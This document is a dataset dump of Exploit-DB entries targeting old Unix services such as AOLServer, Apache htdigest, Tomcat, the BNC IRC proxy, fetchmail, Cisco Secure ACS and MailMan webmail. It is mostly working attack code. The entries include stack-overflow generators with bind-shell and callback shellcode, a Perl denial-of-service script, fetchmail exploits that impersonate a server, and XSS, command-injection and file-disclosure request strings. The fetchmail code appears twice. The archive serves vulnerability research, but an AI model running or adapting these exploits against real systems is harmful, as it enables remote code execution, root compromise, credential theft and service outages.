deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21088
Description: AOLServer 3 - 'Authentication String' Remote Buffer Overflow (1)
Type: remote
Platform: unix
Date: 2001-08-22
Author: Nate Haggard

Exploit:
source: https://www.securityfocus.com/bid/3230/info

AOLServer is a freely available, open source web server. It was originally written by AOL, and is currently developed and maintained by AOL and public domain.

A problem has been discovered that can allow remote users to crash an AOLServer, denying service to legitimate users of the system. The problem is due to the handling of passwords. It is possible for a remote user to overflow a buffer within the AOLServer process by sending a password of 2048 bytes. This could result in the overwriting of stack variables, including the return address.

This makes it possible for a remote user to execute arbitrary code with the privileges of the AOLServer process, and potentially gain local access.

#!/usr/bin/perl

## Nate Haggard <nate@securitylogics.com>
## AOLserver 3.0 vulnerability
## August 22, 2001

use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto     => "tcp",
                                 PeerAddr  => $host,
                                 PeerPort  => "http(80)",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host\n" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
Exploit-DB #25624
Description: Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow (1)
Type: remote
Platform: unix
Date: 2005-05-06
Author: Luca Ercoli

Exploit:
// source: https://www.securityfocus.com/bid/13537/info

A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.

By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.

This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. 

#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

/********************************************************************************/

#define IP "127.1.1.1"
#define PORT 1337

unsigned int addys[] = { 0xbffffadd, // debian 3.1
                        };
// which address to use
#define ADDY 0

/*******************************************************************************/


// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395

// netric callback shellcode
char cb[] =
        "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

#define IP_OFFSET       33
#define PORT_OFFSET     39

void changeip(char *ip);
void changeport(char *code, int port, int offset);

int main (void) {
        char buff[416];
        int a;

        changeip(IP);
        changeport(cb, PORT, PORT_OFFSET);

        for (a = 0; a < 200; a++)
                *(buff+a) = 0x90;

        for (int b = 0; *(cb+b); a++, b++)
                *(buff+a) = *(cb+b);

        for (; a + 4 <= POE; a += 4)
                memcpy(buff+a, (addys+ADDY), 4);

        *(buff+a) = 0;

        fwrite(buff, strlen(buff), 1, stdout);
        return(0);
}

// ripped from some of snooq's code
void changeip(char *ip) {
       char *ptr;
       ptr=cb+IP_OFFSET;
       /* Assume Little-Endianess.... */
       *((long *)ptr)=inet_addr(ip);
}

// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
        char *ptr;
        ptr=code+offset;
        /* Assume Little-Endianess.... */
        *ptr++=(char)((port>>8)&0xff);
        *ptr++=(char)(port&0xff);
}
Exploit-DB #30835
Description: Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting
Type: remote
Platform: unix
Date: 2007-11-30
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26663/info

Apache is prone to a cross-site scripting weakness when handling HTTP request methods that result in 413 HTTP errors.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

Apache 2.0.46 through 2.2.4 are vulnerable; other versions may also be affected. 

#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
       echo "$0 <hosts-file>"
       exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: 
close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep 
-i '<PROCHECKUP>' > /dev/null
then
       echo "$i is VULNERABLE!"
fi

done
Exploit-DB #21882
Description: Apache Tomcat 3.2 - Directory Disclosure
Type: remote
Platform: unix
Date: 2002-10-01
Author: HP Security

Exploit:
source: https://www.securityfocus.com/bid/5838/info

Apache Tomcat is reported to be prone to a vulnerability which may enable remote attackers to disclose the contents of directories.

This issue is reported to affect Apache Tomcat 3.2.x on HP-UX 11.04 (VVOS) systems. It is not known whether other systems are also affected.

GET /%3F.jsp HTTP/1.0
Exploit-DB #21853
Description: Apache Tomcat 3/4 - 'DefaultServlet' File Disclosure
Type: remote
Platform: unix
Date: 2002-09-24
Author: Rossen Raykov

Exploit:
source: https://www.securityfocus.com/bid/5786/info

The servlet 'org.apache.catalina.servlets.DefaultServlet' is included with Apache Tomcat by default. It is possible to use this servlet to view contents of files within the webroot. This includes JSP source code, which may contain sensitive data such as database usernames and passwords.

http://target/admin/servlet/org.apache.catalina.servlets.DefaultServlet/target.jsp
Exploit-DB #21412
Description: Apache Tomcat 4.0/4.1 - Servlet Full Path Disclosure
Type: remote
Platform: unix
Date: 2002-04-23
Author: CHINANSL Security Team

Exploit:
source: https://www.securityfocus.com/bid/4575/info

Apache Tomcat is a servlet container for use with the Java Servlet and JavaServer Pages technologies. Tomcat may be run on most UNIX and Linux variants as well as Microsoft Windows. 

Apache Tomcat ships with a number of example classes (SnoopServlet and TroubleShooter) that may reveal the absolute path of the Tomcat installation when requested. 

Disclosure of this type of sensitive information may aid in further attacks against the host running the vulnerable software.

http://localhost:8080/examples/servlet/SnoopServlet 
http://localhost:8080/examples/servlet/TroubleShooter
Exploit-DB #21734
Description: Apache Tomcat 4.1 - JSP Request Cross-Site Scripting
Type: remote
Platform: unix
Date: 2002-08-21
Author: Skinnay

Exploit:
source: https://www.securityfocus.com/bid/5542/info

Jakarta Tomcat is a Java Servlet and JSP server produced by the Apache Software Foundation. Tomcat is available for Microsoft Windows, Linux, and other Unix based operating systems.

A cross site scripting vulnerability has been reported in some versions of Tomcat. Reportedly, if a HTTP request is made for a JSP, malicious script code embedded in the URI may be included in a page generated by Tomcat.

This may be related to the issues discussed in BID 2982. This has not, however, been confirmed.

http://example.com:8080/666%0a%0a<script>alert("asdf");</script>666.jsp
Exploit-DB #20413
Description: BB4 Big Brother Network Monitor 1.5 d2 - 'bb-hist.sh?HISTFILE' File Existence Disclosure
Type: remote
Platform: unix
Date: 2000-11-20
Author: f8 Research Labs

Exploit:
source : https://www.securityfocus.com/bid/1971/info

Big Brother Network Monitor is a robust, feature rich network monitoring package produced by BB4 Technologies. A problem exists that can allow remote account guessing.

The problem occurs in the Common Gateway Interface package included with Big Brother, which runs on the Big Brother Display Server. The CGI is responsible for statistical posting of network operations on the Big Brother Display Server, an interface which is accessible via Web Browser. Due to insufficient handling of input, it is possible to verify the existance of sensitive files and valid user accounts through the the CGI of the Display Server. Yielding this information to a malicious user could result in a targeted brute force password cracking attack.

The following files are affected by this flaw:

bb-hist.sh
bb-histlog.sh
bb-hostsvc.sh 
bb-rep.sh 
bb-replog.sh 
bb-ack.sh

http://www.victim.com/cgi-bin/bb-hist.sh?HISTFILE=/home/*
Exploit-DB #20395
Description: BNC 2.2.4/2.4.6/2.4.8 - IRC Proxy Buffer Overflow (2)
Type: remote
Platform: unix
Date: 1998-12-26
Author: jamez & dumped

Exploit:
/*
source: https://www.securityfocus.com/bid/1927/info

BNC's IRC Proxy is used as a gateway to an IRC server.

A buffer stores a username which arguments the program's USER command. User-supplied input to this buffer is improperly checked for length.

As a result, the excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can be crafted to alter the program's flow of execution. 

If properly exploited, this can yield root privilege to the attacker.
*/


/*
* SDI irc bouncer exploit
*
* This source exploits a buffer overflow in the bnc,
* popular irc bouncer, binding a shell.
*
* Tested against bnc 2.2.4 running on linux.
*
* usage:
* lame:~# gcc SDI-bnc.c -o SDI-bnc
*
* lame:~# (SDI-bnc 0; cat) | nc www.lame.org 666
* `-> offset, zero in most cases
*
* lame:~# telnet www.lame.org 10752
*
*
* by jamez and dumped from sekure SDI (www.sekure.org)
*
* email: securecode@sekure.org
*
* merry christmas and happy 1999 ;)
*
*/

/* c0nd0r :* */
char bindcode[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80\x33\xD2\x33\xc0\x8b\xDA\xb0\x06"
"\xcd\x80\xfe\xc2\x75\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62"
"\xeb\x62\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b\xeb\xf5\xb0"
"\x30\xfe\xc8\x88\x46\xff\xeb\xec\x5e\xb0\x02\x89\x06\xfe\xc8\x89"
"\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe\xc3\x89\xf1\xcd"
"\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46\x0e\x8d"
"\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
"\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
"\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
"\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
"\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
"\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
"\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";

#define SIZE 1600
#define NOP 0x90

char buffer[SIZE];

void main(int argc, char * argv[])
{
int i, x, offset = 0;
long addr;

if(argc > 1) offset = atoi(argv[1]);

addr = 0xbffff6ff + offset; /* evil addr */

for(i = 0; i < SIZE/3; i++)
buffer[i] = NOP;

for(x = 0; x < strlen(bindcode); i++, x++)
buffer[i] = bindcode[x];

for (; i < SIZE; i += 4)
{
buffer[i ] = addr & 0x000000ff;
buffer[i+1] = (addr & 0x0000ff00) >> 8;
buffer[i+2] = (addr & 0x00ff0000) >> 16;
buffer[i+3] = (addr & 0xff000000) >> 24;
}

buffer[SIZE - 1] = 0;

printf("USER %s\n", buffer);

}
Exploit-DB #20512
Description: BSD ftpd 0.3.2 - Single Byte Buffer Overflow
Type: remote
Platform: unix
Date: 2000-12-18
Author: Scrippie

Exploit:
source: https://www.securityfocus.com/bid/2124/info

The ftp daemon derived from 4.x BSD source contains a serious vulnerability that may compromise root access.

There exists a one byte overflow in the replydirname() function. The overflow condition is due to an off-by-one bug that allows an attacker to write a null byte beyond the boundaries of a local buffer and over the lowest byte of the saved base pointer.

As a result, the numerical value of the pointer decreases (and it thus points to a higher location (or lower address) on the stack than it should) and when the replydirname() function returns, the modified saved base pointer is stored in the base pointer register. When the calling function returns, the return address is read from an offset of where the base pointer points to. With the last byte of the base pointer zero, this will be a location other than where it should be.

If this region of the stack is under the control of the attacker, such as the local variable which contained the extra byte in the first place, an arbitrary address can be placed there that will be used as the saved return address by the function.

This is the case in ftpd. It is possible for an attacker to force the ftp daemon to look in user-supplied data for a return address and then execute instructions at the location as root.

This vulnerability can be exploited on systems supporting anonymous ftp if a writeable directory exists (such as an "incoming" directory). This is rarely in place by default.

It should noted that OpenBSD ships with ftp disabled, though it is an extremely commonly used service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20512.tar.gz
Exploit-DB #28030
Description: Cisco Secure ACS 2.3 - 'LoginProxy.cgi' Cross-Site Scripting
Type: remote
Platform: unix
Date: 2006-06-15
Author: Thomas Liam Romanis

Exploit:
source: https://www.securityfocus.com/bid/18449/info

Cisco Secure ACS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Cisco Secure ACS version 2.3 for UNIX; other versions may also be vulnerable.

POST http://www.example.com:80/CScgi/LogonProxy.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://10.17.12.184/cs/index.html
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
Host: 10.17.12.184
Content-Length: 33
Pragma: no-cache
Server=0.0.0.0&error=<script>alert("help")</script>

http://www.example.com/CScgi/LogonProxy.cgi?Server=0.0.0.0&error=<script>alert("help")</script>
http://www.example.com/CScgi/LogonProxy.cgi?Server=10.17.12.184/Logon?null&SSL=<script>alert('help')</script>
http://www.example.com/CScgi/LogonProxy.cgi?Ok=<script>alert('help')</script>
Exploit-DB #20469
Description: Endymion MailMan 3.0.x - Arbitrary Command Execution
Type: remote
Platform: unix
Date: 2000-12-06
Author: Secure Reality Advisories

Exploit:
source: https://www.securityfocus.com/bid/2063/info


A vulnerability exists in 3.x versions of Endymion MailMan Webmail prior to release 3.0.26.

The widely-used Perl script provides a web-email interface.

Affected versions make insecure use of the perl open() function. Attackers can control the way open() is supposed to work and execute arbitrary commands.

These commands will be executed with the privilege level of the CGI script (commonly user 'nobody'). This vulnerability may allow remote attackers to gain interactive 'local' access on the target server. 

This will execute and echo back the uid.

/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00
Exploit-DB #21066
Description: Fetchmail 5.x - IMAP Reply Signed Integer Index
Type: remote
Platform: unix
Date: 2001-08-09
Author: Sanfillipo antirez

Exploit:
// source: https://www.securityfocus.com/bid/3166/info

Fetchmail is a unix utility for downloading email from mail servers via POP3 and IMAP.

Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.

It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's IMAP server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host.

/* fetchmail proof of concepts i386 exploit
 * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
 * Code under the GPL license.
 *
 * Usage: ./a.out | nc -l -p 3333
 * fetchmail localhost -P 3333 -p POP3
 *
 * This is a bad exploit with offset carefully selected
 * to work in my own system. It will probably not work in
 * your system if you don't modify RETR_OFFSET and SHELL_PTR,
 * but you may try to set the SHELL_PTR to 0xAAAAAAAA
 * and use gdb to obtain the proof that your fetchmail is vulnerable
 * without to exploit it.
 * Or just read the code in pop3.c.
 *
 * To improve the exploit portability you may put the shellcode inside
 * one of the static char buffers, grep 'static char' *.c.
 *
 * Tested on fetchmail 5.8.15 running on Linux 2.4.6
 *
 * On success you should see the ls output.
 */

#include <stdio.h>

#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94

int main(void)
{
	int ish = SHELL_PTR;
	int ret_offset = -10;
	char shellcode[] = /* take the shellcode multiple of 4 in size */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
	int *sc = (int*) shellcode;
	int noop = 0x90909090;
	int i;

	/* +OK for user and password, than report the number of messages */
	printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
	/* Overwrite the RET pointer */
	for (i = ret_offset-20; i < ret_offset+20; i++)
		printf("%d %d\r\n", i, ish);
	/* Put some NOP */
	for (i = 1; i < 21; i++)
		printf("%d %d\r\n", i, noop);
	/* Put the shell code in the buffer */
	for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
		printf("%d %d\r\n", i, *sc++);
	printf(".\r\n"); /* POP data term */
	return 0;
}
Exploit-DB #21064
Description: Fetchmail 5.x - POP3 Reply Signed Integer Index
Type: remote
Platform: unix
Date: 2001-08-09
Author: Salvatore Sanfilippo -antirez-

Exploit:
// source: https://www.securityfocus.com/bid/3164/info

Fetchmail is a unix utility for downloading email from mail servers via POP3.

Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.

It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's POP3 server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. 

/* fetchmail proof of concepts i386 exploit
 * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
 * Code under the GPL license.
 *
 * Usage: ./a.out | nc -l -p 3333
 * fetchmail localhost -P 3333 -p POP3
 *
 * This is a bad exploit with offset carefully selected
 * to work in my own system. It will probably not work in
 * your system if you don't modify RETR_OFFSET and SHELL_PTR,
 * but you may try to set the SHELL_PTR to 0xAAAAAAAA
 * and use gdb to obtain the proof that your fetchmail is vulnerable
 * without to exploit it.
 * Or just read the code in pop3.c.
 *
 * To improve the exploit portability you may put the shellcode inside
 * one of the static char buffers, grep 'static char' *.c.
 *
 * Tested on fetchmail 5.8.15 running on Linux 2.4.6
 *
 * On success you should see the ls output.
 */

#include <stdio.h>

#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94

int main(void)
{
	int ish = SHELL_PTR;
	int ret_offset = -10;
	char shellcode[] = /* take the shellcode multiple of 4 in size */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
	int *sc = (int*) shellcode;
	int noop = 0x90909090;
	int i;

	/* +OK for user and password, than report the number of messages */
	printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
	/* Overwrite the RET pointer */
	for (i = ret_offset-20; i < ret_offset+20; i++)
		printf("%d %d\r\n", i, ish);
	/* Put some NOP */
	for (i = 1; i < 21; i++)
		printf("%d %d\r\n", i, noop);
	/* Put the shell code in the buffer */
	for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
		printf("%d %d\r\n", i, *sc++);
	printf(".\r\n"); /* POP data term */
	return 0;
}